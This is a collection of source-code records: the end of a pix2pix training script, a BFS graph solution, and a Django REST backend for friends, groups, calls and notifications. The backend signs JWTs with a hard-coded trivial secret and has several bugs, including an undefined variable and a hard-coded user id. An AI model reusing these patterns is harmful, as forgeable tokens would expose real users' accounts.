img_size = (256, 256)\n input_channels = 3\n output_channels = 3\n mode = 'test' # train, test\n data_path = './pix2pix-dataset/facades/facades/train/'\n\n device = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n print('device : ', device)\n\n model = Model(input_channels, output_channels, batch_size).to(device)\n\n max_size = len(os.listdir(data_path))\n if data_size > max_size: data_size = max_size\n iteration = int(data_size / batch_size)\n\n\n if mode == 'train':\n opt_gen = torch.optim.AdamW(model.generator.parameters(), lr)\n opt_dis = torch.optim.AdamW(model.discriminator.parameters(), lr)\n real_img_set, cond_img_set = get_data_set(data_path, data_size, img_size)\n\n real_img_set = torch.tensor(real_img_set, dtype=torch.float32).to(device)\n cond_img_set = torch.tensor(cond_img_set, dtype=torch.float32).to(device)\n\n if os.path.isfile('model_data.pth'): model.load_state_dict(torch.load('model_data.pth'))\n\n for ep in range(epoch):\n print(\"========= epoch : \", ep, \"/\", epoch, \" =========\")\n for i in range(iteration):\n real_img_batch = real_img_set[i*batch_size:(i+1)*batch_size]\n cond_img_batch = cond_img_set[i*batch_size:(i+1)*batch_size]\n disc_loss, gen_loss = train(k, l, model, opt_gen, opt_dis, real_img_batch, cond_img_batch, device=device)\n print(\"disc_loss : %f, gen_loss : %f\" % (disc_loss, gen_loss))\n torch.save(model.state_dict(), 'model_data.pth')\n print('model saved')\n\n elif mode == 'test':\n sample_size = 20\n model = Model(input_channels, output_channels, batch_size).to('cpu')\n\n real_img_set, cond_img_set = get_data_set(data_path, sample_size, img_size)\n if os.path.isfile('model_data.pth'): model.load_state_dict(torch.load('model_data.pth'))\n make_sample_img(model, cond_img_set, real_img_set, sample_size)\n\n","repo_name":"ansj02/Pix2Pix","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27579116471","text":"import sys\r\nfrom collections import deque\r\n\r\ndef bfs(start, end): \r\n q = deque()\r\n q.append((start,0)) #노드, 누적 거리\r\n \r\n ok = [False] * (n+1)\r\n ok[start] = True\r\n\r\n while q:\r\n nd, d = q.popleft()\r\n\r\n if nd == end: #최종 목적지와 큐에서 꺼낸 노드 값이 같으면\r\n return d #누적 거리 출력\r\n for i, j in arr[nd]: #노드, 거리 \r\n if not ok[i]:\r\n q.append((i,d+j))\r\n ok[i] = True\r\n\r\n\r\nn, m = map(int,input().split())\r\narr = [[] for _ in range(n+1)]\r\n\r\nfor _ in range(n-1):\r\n a, b, d = map(int,input().split())\r\n arr[a].append((b,d))\r\n arr[b].append((a,d))\r\n\r\nfor _ in range(m):\r\n s,e = map(int,input().split())\r\n print(bfs(s,e))\r\n\r\n\r\n","repo_name":"kk7674/Algorithm-solving","sub_path":"백준/Gold/1240. 노드사이의 거리/노드사이의 거리.py","file_name":"노드사이의 거리.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38603707487","text":"from django.shortcuts import render\nfrom .serializer import Userserializer,notificationseralizer,getMemberstoMakeCallSeralizer\nfrom .models import useraccount ,friend ,connection ,group,user_in_group,notification\nfrom django.contrib.auth.hashers import make_password, check_password\nfrom django.db.models import Q,aggregates,Count,F\nfrom app_ import events\nfrom rest_framework.views import APIView\nfrom rest_framework import status\nfrom rest_framework.response import Response\nfrom rest_framework.decorators import api_view\nfrom app_ import events\nfrom base64 import decode,encode\nfrom datetime import datetime\nimport jwt\nimport json\nimport string\nimport random\nimport base64\nimport time\nimport copy\nclass ClassEvents: \n def callSendNotifEvent(keys,idNotif):\n print('idnotif')\n keyList=keys\n keyLive=useraccount.objects.filter(key__in=keyList,live=True)\n if keyLive.exists():\n events.notification.sendNoti(keyLive.values_list('key',flat=True),get_notf(idNoti=idNotif))\n #events.connection.makeCall(groupId, members, kind)\n def callMakeCallEventForLecture(groupId,admin,members):\n listMeber=[]\n members=members .filter(user__live=True,on_line=True)\n option={'canChat':'False','canTalk':'False'}\n chat=list([{'key':admin,'name':groupId.name,'message':'the first message in chat'}])\n data={'adminKey':admin,'idGroup':groupId.pk,'nameGroup':groupId.name,'kind':groupId.kind,'chat':chat}\n dicMember={}\n for m in members:\n dicMember['key']=m.user.key\n name=m.user.first_name+' '+m.user.last_name\n dicMember[m.user.key]={'key':m.user.key,'name':name,'option':option}\n listMeber.append(dicMember)\n dicMember={}\n data['member']=listMeber\n events.connection.makeCall(groupId.pk, admin, data)\n return data\n def callGroupCreatedEvent(groupInfo,keys=0):\n print('ClassEvents.callGroupCreatedEvent function')\n if keys==0:\n events.notification.groupCreated(groupInfo, groupInfo['keyMemberList'])\n else:\n events.notification.groupCreated(groupInfo, keys)\n def callmemberAddedEvent(groupId,data,membersKey):\n print('ClassEvents.callmemberAddedEvent function')\n events.notification.memberAdded(groupId, data, membersKey)\n def callEndCallEventLecture(groupId,kind):\n print('ClassEvents.callEndCallEventLecture function')\n events.connection.endCall(groupId, kind)\n print('eeennnnddd')\n def callMakeCallEventForMeeting(groupId,members,keys,keysNoAdmin,user):\n print('ClassEvents.callMakeCallEventForMeeting function')\n member={}\n for memb in members:\n member[memb.user.key]={'key':memb.user.key,'name':memb.user.first_name+' '+memb.user.last_name,'onLine':False}\n dic={'groupId':groupId.pk,'groupName':groupId.name,'kind':groupId.kind,'picture':getImage(str(groupId.picture)),'memberCount':1,'member':member}\n dic['member'][user]['onLine']=True\n events.MetingCall.makeCall(dic,keysNoAdmin,user)\n def calleventleaveCallMeeting(key,groupId):\n print('ClassEvents.calleaveCallMeeting function')\n return events.MetingCall.leaveCall(key,groupId)\n def calleventendCallForMeeting(roomId):\n print('ClassEvents.calleventendCallForMeeting Event')\n events.MetingCall.endCall(roomId)\n def callmakeCallEventForFriends(groupId,members,keys,keysNoAdmin,user):\n try:\n print('ClassEvents.callmakeCallEventForFriends')\n member={}\n for memb in members:\n print(memb)\n member[memb.user.key]={'key':memb.user.key,'name':memb.user.first_name+' '+memb.user.last_name,'onLine':False}\n dic={'groupId':groupId.pk,'groupName':groupId.name,'kind':groupId.kind,'picture':getImage(str(groupId.picture)),'memberCount':1,'member':member}\n dic['member'][user]['onLine']=True\n events.MetingCall.makeCall(dic,keysNoAdmin,user)\n except Exception as e:\n print('Error in ClassEvents.callmakeCallEventForFriends')\n print(e)\n return\n# End events \nclass Group:\n def getMembers(id):\n members=user_in_group.objects.filter(group=id,active=True)\n dicMembers={}\n Admin=members.get(is_admin=True).user.key\n keyMemberList=[]\n users=useraccount.objects.filter(pk__in=members.values_list('user',flat=True))\n for user in users:\n dicMembers[user.key]={'key':user.key,'name':user.first_name,\n 'live':user.live,'picture':getImage(str(user.picture))}\n keyMemberList.append(user.key)\n return {'member':dicMembers,'admin':Admin,'members_count':members.count(),'keyMemberList':keyMemberList}\n def getCall(id):\n conn=connection.objects.filter(group=id)\n count_c=1\n component_call={}\n for c in conn:\n call_duration='incall'\n if c.end_date!=None:\n call_duration=call_long(c.start_date, c.end_date)\n dic_call={'call_date':getdate(c.start_date),'call_time':getTime(c.start_date),'call_durtion':call_duration}\n component_call[count_c]=dic_call\n count_c+=1\n return component_call\n def getGruop(id):\n Group_=group.objects.get(pk=id,active=True,created=True)\n dic_group={}\n if Group_:\n member=Group.getMembers(id)\n dic_group={'id':Group_.pk,'group_name':Group_.name,\n 'picture':getImage(str(Group_.picture)),'kind':Group_.kind,'members_count':member['members_count'],\n 'member':member['member'],'members_count':member['members_count']-1,'calling':Group.getCall(id),'admin':member['admin'],'keyMemberList':member['keyMemberList']}\n return dic_group\n print('')\n def createGroup(name,idAdmin,keys,kind,created,picture='static/image/group/groupImage.text'):\n g=group(name=name,active=True,created=created,kind=kind,picture=picture)\n g.save()\n member=useraccount.objects.filter(key__in=keys)\n for pk in member:\n u=user_in_group(user=pk,group=g,active=True)\n u.save()\n return g.pk\n# End Group\nclass FriendRequest:\n def getFriendAfterAdd(id):\n data=friend.objects.get(pk=id)\n dic={}\n dic['friend_name']=data.user2.first_name\n dic['friend_lname']=data.user2.last_name\n dic['friend_email']=data.user2.email\n dic['isLive']=data.user2.live\n dic['key']=data.user2.key\n dic['check']=False\n print(dic)\n return dic\n def isUserFound(pk,key):\n print('FriendRequest.isUserFound function')\n user1=useraccount.objects.filter(pk=pk)\n user2=useraccount.objects.filter(key=key)\n if user1.exists() and user2.exists():\n return ({'state':True,'id':user2.get().pk,'user1':user1.get(),'user2':user2.get()})\n \n return Response(status=status.HTTP_400_BAD_REQUEST)\n def accepted(user1,user2,idNotif=0):\n print('FriendRequest.accepted function')\n try:\n pk=[user1,user2]\n valid=friend.objects.filter(Q(user1__in=pk,user2__in=pk,state='accepted'))\n afriend=friend.objects.filter(user1__in=pk,user2__in=pk,state='pending')\n if afriend.count()==2 and not valid.exists():\n keyUser2=afriend.get(user2=user2).user2.key\n idUser2=afriend.get(user2=user2).pk\n idUser1=afriend.get(user1=user2).pk\n afriend.update(state='accepted')\n #events.callSendNotifEvent(afriend.get(user2=user2).user2.key, makeNotif(afriend.get(user1=user).user1.first_name+' '+afriend.get(user1=user).user1.first_name+' accepted your friend request ;)', user2))\n #events.callSendNotifEvent(afriend.get(user2=user2).user2.key, makeNotif(' accepted your friend request '+afriend.get(user1=user).user1.first_name+' '+afriend.get(user1=user).user1.first_name, user1))\n notification.objects.filter(pk=idNotif).delete()\n print(FriendRequest.getFriendAfterAdd(idUser1))\n events.notification.friendAdded(keyUser2, FriendRequest.getFriendAfterAdd(idUser1)) \n return ({'state':True,'idNotif':idNotif,'user':FriendRequest.getFriendAfterAdd(idUser2)})\n return ({'state':False})\n except Exception as e:\n print('Error in FriendRequest.accepted function')\n return Response(status=status.HTTP_400_BAD_REQUEST)\n def rejected(user1,user2,idNotif=0):\n try:\n print('rejected')\n pk=[user1,user2]\n state1=friend.objects.filter(user1__in=pk,user2__in=pk,state='accepted')\n state2=friend.objects.filter(user1__in=pk,user2__in=pk,state='pending')\n if state1.count()==2:\n key=state1.get(user2=user2).user2.key\n keySender=state1.get(user1=user1).user1.key\n keyReciver=state1.get(user2=user2).user2.key\n state1.update(state='rejected')\n events.notification.friendDeleted(keySender, keyReciver)\n events.notification.friendDeleted(keyReciver,keySender )\n return ({'state':True,'key':key})\n if state2.exists():\n key=state2.get(user2=user2).user1.key\n state2.update(state='rejected')\n if idNotif>0:\n notification.objects.filter(pk=idNotif).delete()\n return ({'state':True,'key':key,'idNotif':idNotif})\n return ({'state':False})\n except Exception as e:\n print('Error in FriendRequest.rejected function')\n return Response(status=status.HTTP_400_BAD_REQUEST)\n def addFriend(user1,Key):\n try:\n print('addFriend')\n user=FriendRequest.isUserFound(user1, Key)\n user1=user['user1']\n user2=user['user2']\n pk=[user1.pk,user2.pk]\n add=friend.objects.filter((Q(user1__in=pk,user2__in=pk))&(Q(state='accepted')|Q(state='pending')))\n print(add.exists())\n if not add.exists():\n add=friend(user1=user1,user2=user2,state='pending')\n add.save()\n add=friend(user1=user2,user2=user1,state='pending')\n add.save()\n content='you have friend request from '+add.user2.first_name+' '+add.user2.last_name\n print('end addFriend function')\n return {'state':True,'content':content,'user2':user2.pk}\n return {'state':False}\n except Exception as e:\n print('Error in FriendRequest.addFriend function')\n return Response(status=status.HTTP_400_BAD_REQUEST)\n# End FriendRequest\ndef getKeyLive(id):\n friend1=getKeyFriendLive(id)\n groups=user_in_group.objects.filter(user=id,active=True,group__active=True,group__created=True).values_list('group',flat=True)\n Lmember=user_in_group.objects.filter(Q(group__in=groups,group__kind='lecture',is_admin=True,user__live=True)& ~Q(user=id))\n L=Lmember.values_list('user__key',flat=True)\n Mmember=user_in_group.objects.filter(Q(group__in=groups,group__kind='Meeting',user__live=True)& ~Q(user=id))\n M=Mmember.values_list('user__key',flat=True)\n lisL=Lmember.values('group','user__key')\n lisM=Mmember.values('group','user__key')\n lis=list(L)+list(M)+list(friend1)\n groupId=list(lisL)+list(lisM)\n recever={}\n for keys in lis:\n recever[keys]=[]\n for l in groupId:\n recever[l['user__key']].append(l['group'])\n return recever \ndef getKeyFriendLive(id):\n friends=friend.objects.filter(user1_id=id,state='accepted').values_list('user2',flat=True)\n user=useraccount.objects.filter(id__in=friends,live=True).values_list('key',flat=True)\n return user\ndef generateKey(length):\n ran = ''.join(random.choices(string.ascii_uppercase+string.ascii_lowercase + string.digits, k = length))\n return ran\ndef checkToken(token):\n try:\n m= jwt.decode(token,'gra',algorithms=['HS256'])\n id=m['id']\n email=m['email']\n key=m['key']\n o=useraccount.objects.filter(email=email,key=key)\n if o.exists():\n return {'state':True,'id':id,'email':email,'key':key}\n raise Exception()\n except Exception as e:\n print('Error checkToken functions')\n print(e)\n raise Exception()\ndef encoderToken(id,email,key):\n return jwt.encode({'id': id,'email':email,'key':key}, 'gra', algorithm='HS256')\ndef insertImage(id,image,type):\n try:\n #print('insertImage function')\n path='static/'+'image/'+type+'/'+str(id)+'.txt'\n f=open(path,'w')\n f.write(image)\n return path\n except Exception as e:\n print('Error in insertImage function')\n print(e)\n return 'static/image/user/userImage.txt'\ndef getImage(path):\n try:\n print('getImage function')\n f = open(path, 'r') \n return f.read()\n except Exception as e:\n print('Error in getImage function')\n print(e)\n return ''\n@api_view(['POST'])\ndef sign_up(request):\n try:\n print('sign_up function')\n if request.method=='POST':\n print(request.data)\n firstName=request.data['firstName']\n lastName=request.data['lastName']\n password=make_password(request.data['password'])\n email=request.data['email']\n picture=''#request.data['picture']\n k=useraccount.objects.all()\n #print(firstName+' '+lastName+' '+password+' '+email)\n key=''\n if k.filter(email=email).exists():\n return Response(data={'message':'email is already used'},status=status.HTTP_406_NOT_ACCEPTABLE,)\n while True:\n key=generateKey(10)\n if not(k.filter(key=key).exists()):\n break\n o=useraccount(first_name=firstName,last_name=lastName,password=password,email=email,key=key)\n o.save()\n '''path=insertImage(o.pk, picture, 'user')\n useraccount.objects.filter(pk=o.pk).update(picture=path)'''\n return Response({'token':encoderToken(o.pk, o.email,o.key)},status=status.HTTP_201_CREATED)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e :\n print('Error SignUp functios')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n@api_view(['GET','POST'])\ndef login(request):\n token=None\n try:\n if request.method=='POST':\n email=request.data['email']\n p=request.data['password']\n user=useraccount.objects.filter(email=email)\n if user.exists() and check_password(p, user.get().password):\n return Response({'token':encoderToken(user.get().pk, user.get().email,user.get().key)},status=status.HTTP_201_CREATED)\n return Response(status=status.HTTP_400_BAD_REQUEST) \n except Exception as e:\n print('Error in login function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\ndef get_friend(id):\n friends=friend.objects.filter(user1_id=id,state='accepted')#.values('user2_id__first_name','user2_id__email')\n dic={}\n component_dic={}\n for i in friends:\n dic['friend_name']=i.user2.first_name\n dic['friend_lname']=i.user2.last_name\n dic['friend_email']=i.user2.email\n dic['isLive']=i.user2.live\n dic['key']=i.user2.key\n dic['check']=False\n dic['picture']=getImage(str(i.user2.picture))\n component_dic[i.user2.key]=dic\n dic={}\n return component_dic\ndef call_long(start_,end_):\n day=end_.day-start_.day\n hour=abs(end_.hour-start_.hour)\n minu=abs(end_.minute-start_.minute)\n sec=abs(end_.second-start_.second)\n durtion=day.__str__()+':'+hour.__str__()+':'+minu.__str__()+':'+sec.__str__()\n return durtion\ndef getdate(date):\n year=date.year\n month=date.month\n day=date.day\n hour=date.hour\n minu=date.minute\n sec=date.second\n date=year.__str__()+'/'+month.__str__()+'/'+ day.__str__()\n return date\ndef getTime(date):\n \n hour=date.hour\n minu=date.minute\n sec=date.second\n date=hour.__str__()+':'+minu.__str__()+':'+sec.__str__()\n return date\ndef deletGruop(idGruop):\n try:\n idGruop.active=False\n idGruop.save()\n return ({'state':True,'id':idGruop.pk})\n except Exception as e:\n print('Error')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\ndef leavGruop(userGruop):\n try:\n userGruop.active=False\n userGruop.save()\n return ({'state':True,'id':userGruop.group.pk})\n except Exception as e:\n print('Error')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\ndef getGroupByIdGruop(id):\n group=user_in_group.objects.filter(group_id=id,group__active=True,active=True)\n dic_member={}\n dic_group={}\n dic_call={}\n component_call={}\n component_members={}\n component_groups={} \n count=1\n count_c=1\n if group.get():\n dic_group={'id':group.get().group.pk,'group_name':group.get().group.name,\n 'photo':'photo','kind':group.get().group.kind,'members_count':all_groups.count()}\n connect=connection.objects.filter(group=group.get().group.pk)\n for x in all_groups:\n if x.is_admin:\n dic_group['admin']=x.user.key\n if not x.user.pk==id:\n dic_member={'key':x.user.key,'name':x.user.first_name,\n 'live':x.user.live,'photp':'photo'}\n component_members[x.user.key]= dic_member\n \n count_c=1\n for c in connect:\n call_duration='incall'\n if c.end_date!=None:\n call_duration=call_long(c.start_date, c.end_date)\n dic_call={'call_date':getdate(c.start_date),'call_time':getTime(c.start_date),'call_durtion':call_duration}\n component_call[count_c]=dic_call\n count_c+=1\n\n dic_group['member']=component_members\n dic_group['calling']=component_call\n component_members={}\n component_call={}\n #print(i.group.name)\n #print(dic_group)\n component_groups[i.group.pk]=dic_group\n dic_group={}\n return component_groups\ndef get_group(id):\n print(id)\n group=user_in_group.objects.filter(user_id=id,group__active=True,active=True,group__created=True)\n print(group.values_list('group__name',flat=True))\n dic_member={}\n dic_group={}\n dic_call={}\n component_call={}\n component_members={}\n component_groups={} \n count=1\n count_c=1\n for i in group:\n all_groups=user_in_group.objects.filter(group=i.group.pk,active=True)\n dic_group={'id':i.group.pk,'group_name':i.group.name,\n 'picture':getImage(str(i.group.picture)),'kind':i.group.kind,'members_count':all_groups.count()}\n connect=connection.objects.filter(group=i.group.pk).filter(~Q(end_date=None)).order_by('start_date')\n for x in all_groups:\n if x.is_admin:\n dic_group['admin']=x.user.key\n if not x.user.pk==id:\n dic_member={'key':x.user.key,'name':x.user.first_name,\n 'live':x.user.live,'picture':getImage(str(x.user.picture))}\n component_members[x.user.key]= dic_member\n count_c=1\n for c in connect:\n if i.group.pk==62 :\n print(i.group.pk)\n call_duration='incall'\n if c.end_date!=None:\n call_duration=call_long(c.start_date, c.end_date)\n dic_call={'call_date':getdate(c.start_date),'call_time':getTime(c.start_date),'call_durtion':call_duration}\n component_call[count_c]=dic_call\n count_c+=1\n\n dic_group['member']=component_members\n dic_group['calling']=component_call\n component_members={}\n component_call={}\n #print(i.group.name)\n #print(dic_group)\n component_groups[i.group.pk]=dic_group\n dic_group={}\n return component_groups\ndef get_notf(idUser=0,idNoti=0):\n resu={}\n data={}\n if idUser > 0:\n notf=notification.objects.filter(user=idUser).order_by('-time')\n lis=[]\n notifdic={}\n resu['numberNotifications']=notf.filter(is_read=False).count()\n for n in notf:\n notifdic['id']=n.pk\n notifdic[n.pk]=notificationseralizer(n).data\n lis.append(notifdic)\n notifdic={}\n resu['Notifications']=lis\n elif idNoti > 0:\n notf=notification.objects.filter(pk=idNoti)\n resu['id']=notf.get().pk\n resu[notf.get().pk]=notificationseralizer(notf.get()).data\n return resu\ndef getMembersOnAction(idUser,idGroup):\n try:\n userGruop=user_in_group.objects.filter(Q(group=idGroup)&Q(active=True)&~Q(user=idUser)).values_list('user',flat=True)\n friend_=friend.objects.filter(Q(user1=7)&Q(state='accepted')&~Q(user2__in=userGruop)).values_list('user2',flat=True)\n user=useraccount.objects.filter(pk__in=friend_).values_list('key',flat=True)\n userL=[]\n userL=user\n return userL\n except Exception as e:\n print('Error in getMembersOnAction')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\ndef get_userInfo(id):\n user=useraccount.objects.get(pk=id)\n dic={}\n dic['firstName']=user.first_name\n dic['lastName']=user.last_name\n dic['email']=user.email\n dic['key']=user.key\n dic['picture']=getImage(str(user.picture))\n return dic\ndef makeNotif(content,idRecever,idSender=None,idConnection=None,Type='normal'):\n try:\n print('makeNotif function')\n idUser=useraccount.objects.filter(pk=idRecever)\n if Type=='normal' and idUser.exists():\n noti=notification(content=content,user=idUser.get(),type=Type)\n noti.save()\n return noti.pk\n elif Type=='call' and idUser.exists():\n idGroup=group.objects.filter(pk=idSender)\n if idGroup.exists():\n noti=notification(content=content,user=idUser.get(),sender_group=idGroup.get(),type=Type,name_sender=idGroup.get().name,connection=idConnection)\n noti.save()\n return noti.pk\n elif Type=='RAdd' and idUser.exists():\n idSend=useraccount.objects.filter(pk=idSender)\n if idSend.exists():\n noti=notification(content=content,user=idUser.get(),sender_user=idSend.get(),type=Type,name_sender=idSend.get().first_name+' '+idSend.get().last_name)\n noti.save()\n return noti.pk\n return Response(status=status.HTTP_400_BAD_REQUEST)\n\n except Exception as e:\n print('Error in makeNotif function')\n print(e)\n return Response(status=status.HTTP_500_INTERNAL_SERVER_ERROR)\ndef getUserByKeyForAdd(id,key):\n try:\n user=useraccount.objects.filter(key=key)\n Key=''\n if user.exists():\n if id == user.get().pk:\n return {'state':False,'result':user.get().first_name+' '+user.get().last_name+' (;','key':Key}\n if not friend.objects.filter( Q(user1=id) ,Q(user2=user.get().pk) , Q ( state ='accepted')|Q ( state ='pending') ):\n name=user.get().first_name+' '+user.get().last_name\n Key=user.get().key\n return ({'state':True,'result':name,'key':Key})\n if friend.objects.filter( Q(user1=id) ,Q(user2=user.get().pk) , Q ( state ='pending') ):\n return {'state':False,'result':'pending (;','key':Key}\n return {'state':False,'result':'already friend (:','key':Key}\n return {'state':False,'result':'not found ):','key':Key}\n except Exception as e:\n print('Error in function getUserByKeyForAdd')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n@api_view(['GET'])\ndef serchForAdd(request):\n try:\n print(request.GET)\n if request.method=='GET':\n token=checkToken(request.GET['token'])\n user=getUserByKeyForAdd(token['id'],request.GET['key'])\n return Response({'state':user['state'],'result':user['result'],'key':user['key']},status=status.HTTP_200_OK)\n except Exception as e:\n print('Error in function serchForAdd')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n@api_view(['POST'])\ndef addFriend(request):\n try:\n print('addFriend function')\n if request.method=='POST':\n token=checkToken(request.data['token'])\n data= FriendRequest.addFriend(token['id'], request.data['key'])\n if data['state']:\n keyList=[]\n keyList.append(request.data['key'])\n ClassEvents.callSendNotifEvent(keyList, makeNotif(content=data['content'],idRecever= data['user2'],idSender=token['id'],Type='RAdd'))\n return Response({'state':True},status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in addFriend function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST) \n@api_view(['GET','POST'])\ndef profile(request):\n pro=None\n try:\n print('profile function')\n print(request.GET)\n if request.method=='GET':\n token=checkToken(request.GET['token'])\n pro=getProfile(token['id'])\n return Response({'state':True,'profile':pro},status=status.HTTP_200_OK)\n return Response({'state':False},status=status.HTTP_401_UNAUTHORIZED)\n except Exception as e:\n print('Error in profile function')\n print(e)\n return Response(status=status.HTTP_401_UNAUTHORIZED) \ndef getProfile(id):\n dic={}\n dic['userInfo']=get_userInfo(id)\n dic['group']=get_group(id)\n dic['friend']=get_friend(id)\n dic['notifications']=get_notf(idUser=id)\n return dic\n@api_view(['POST'])\ndef addgroup_created(request):\n try:\n print('addgroup_created function')\n if request.method=='POST':\n token=checkToken(request.data['token'])\n name_group=request.data['newGroup']['name']\n created_group=True#bool(request.data['created'])\n kind_group=request.data['newGroup']['kind']\n idSender_group=token['id']\n keys=request.data['newGroup']['members']\n if name_group!=None and type(created_group)==bool and (kind_group=='Introductory Lecture' or kind_group=='lecture' or kind_group=='Meeting')and useraccount.objects.filter(pk=idSender_group).exists(): \n idSender=useraccount.objects.get(id=idSender_group)\n add_group=group(name=name_group,created=created_group,kind=kind_group)\n add_group.save()\n owner=group.objects.get(id=add_group.pk)\n add_owner=user_in_group(user=idSender,group=owner,is_admin='True')\n add_owner.save()\n addMemberGroup(owner.pk, keys,idSender.pk)\n groupInfo=Group.getGruop(add_group.pk)\n ClassEvents.callGroupCreatedEvent(groupInfo)\n return Response({'state':True,'data':groupInfo},status=status.HTTP_201_CREATED)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in addgroup_created function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST) \n@api_view(['POST'])\ndef statusFriend(request):\n try:\n print('statusFriend function')\n if request.method=='POST':\n print(request.data)\n token=checkToken(request.data['token'])\n idSender=token['id']\n key=request.data['key']\n stateNew=request.data['status']\n idNotif=0\n if not stateNew=='deleted':\n idNotif=request.data['notiId']\n isFound=FriendRequest.isUserFound(idSender, key)\n if isFound['state']:\n if stateNew=='rejected' or stateNew=='deleted':\n data=FriendRequest.rejected(idSender,isFound['id'],idNotif)\n if data['state']:\n return Response(data,status=status.HTTP_200_OK)\n elif stateNew=='accepted':\n data=FriendRequest.accepted(idSender, isFound['id'],idNotif)\n if data['state']:\n print(data)\n return Response( data,status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in statusFriend function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n@api_view(['POST'])\ndef addMemberGroupRequest(request):\n try:\n print('addMemberGroupRequest function')\n if request.method=='POST':\n data=checkToken(request.data['token'])\n groupId=request.data['groupId']\n idUser=data['id']\n keys=request.data['keys']\n return(addMemberGroup(groupId,keys,idUser))\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in addMemberGroupRequest function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST) \ndef addMemberGroup(id_group,keys,id_admin):\n try:\n ch=False\n addedmember={}\n idGruop=group.objects.filter(pk=id_group,active=True)\n idUser=useraccount.objects.filter(pk=id_admin)\n if idGruop.exists() and idUser.exists():\n allMember=user_in_group.objects.filter(group=idGruop.get().pk,active=True)\n addKeyList=[]\n if allMember.filter(user=idUser.get().pk,is_admin=True).exists():\n for key in keys:\n member=useraccount.objects.filter(key=key)\n if member.exists():\n returnUser={'key':key,'name':member.get().first_name+' '+member.get().last_name,'live':member.get().live,'photo':'photo'}\n addUser=user_in_group.objects.filter(user=member.get().pk,group=idGruop.get().pk)\n if addUser.exists():\n if not addUser.get().active:\n Save=addUser.get()\n Save.active=True\n Save.save()\n addKeyList.append(key)\n addedmember[key]=returnUser\n content='you have added to '+idGruop.get().name+' group '\n idnotif=makeNotif(content=content,idRecever=member.get().pk,idSender= idGruop.get().pk)\n keyList=[]\n keyList.append(key)\n ClassEvents.callSendNotifEvent(keyList, idnotif)\n print('123')\n else:\n Save=user_in_group(group=idGruop.get(),user=member.get())\n Save.save()\n addKeyList.append(key)\n addedmember[key]=returnUser\n content='you have added to '+idGruop.get().name+' group '\n idnotif=makeNotif(content=content,idRecever=member.get().pk,idSender= idGruop.get().pk)\n keyList=[]\n keyList.append(key)\n ClassEvents.callSendNotifEvent(keyList, idnotif)\n print('321')\n ClassEvents.callGroupCreatedEvent(Group.getGruop(idGruop.get().pk),keys=addKeyList)\n ClassEvents.callmemberAddedEvent(idGruop.get().pk, addedmember, allMember.filter(~Q(user__key__in=keys)&Q(is_admin=False)).values_list('user__key',flat=True))\n x={'state':True,'newMembers':addedmember,'id':idGruop.get().pk,'membersKey':getMembersOnAction(id_admin, id_group)}\n return Response(x)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n@api_view(['POST'])\ndef delete_group(request):\n try:\n print('API delete_group function')\n if request.method:\n data=checkToken(request.data['token'])\n groupId=request.data['id']\n idUser=data['id']\n Gruop=group.objects.filter(pk=groupId,active=True)\n user=useraccount.objects.filter(pk=idUser)\n if Gruop.exists():\n userGruop=user_in_group.objects.filter(group=Gruop.get().pk,user=user.get().pk,active=True)\n if userGruop.get().is_admin:\n return Response(deletGruop(Gruop.get()))\n elif userGruop.exists():\n functionReturn=leavGruop(userGruop.get())\n if functionReturn['state']:\n members=user_in_group.objects.filter(group=groupId,active=True).values_list('user__key',flat=True)\n print(members)\n events.notification.memberDeleted(groupId, user.values_list('key',flat=True), members)\n return Response(functionReturn,status=status.HTTP_200_OK)\n return Response({'state':False})\n except Exception as e:\n print('Error in delete_group function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST) \n@api_view(['POST'])\ndef delete_members(request):\n try:\n print('delete_members function')\n if request.method=='POST':\n data=checkToken(request.data['token'])\n groupId=request.data['groupId']\n idUser=data['id']\n keys=request.data['keys']\n if not type(keys)==list():\n keys=list(keys)\n isAdmin=user_in_group.objects.filter(user__pk=idUser,group__pk=groupId,group__active=True,is_admin=True,active=True)\n deletedKeys=[]\n if isAdmin.exists():\n allMembers=user_in_group.objects.filter(group__pk=groupId)\n memberTodelete=allMembers.filter(user__key__in=keys).update(active=False)\n memberDeletedList=allMembers.filter(user__key__in=keys,active=False).values_list('user__key',flat=True)\n events.notification.memberDeleted(groupId, memberDeletedList,list(memberDeletedList)+list(allMembers.filter(active=True).values_list('user__key',flat=True)))\n return Response({'state':True,'keys':memberDeletedList,'id':groupId},status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in delete_members function')\n print(e)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n@api_view(['POST'])\ndef notificationRread(request):\n try:\n print('notificationRread function')\n if request.method=='POST':\n print(request.data)\n data=checkToken(request.data['token'])\n id_user=data['id']\n noti=notification.objects.filter(user=id_user,is_read=False)\n if noti.exists():\n noti.update(is_read=True)\n return Response({'state':True},status=status.HTTP_200_OK)\n return Response(status=status.HTTP_400_BAD_REQUEST)\n except Exception as e:\n print('Error in notificationRread function')\n print(e)\n return 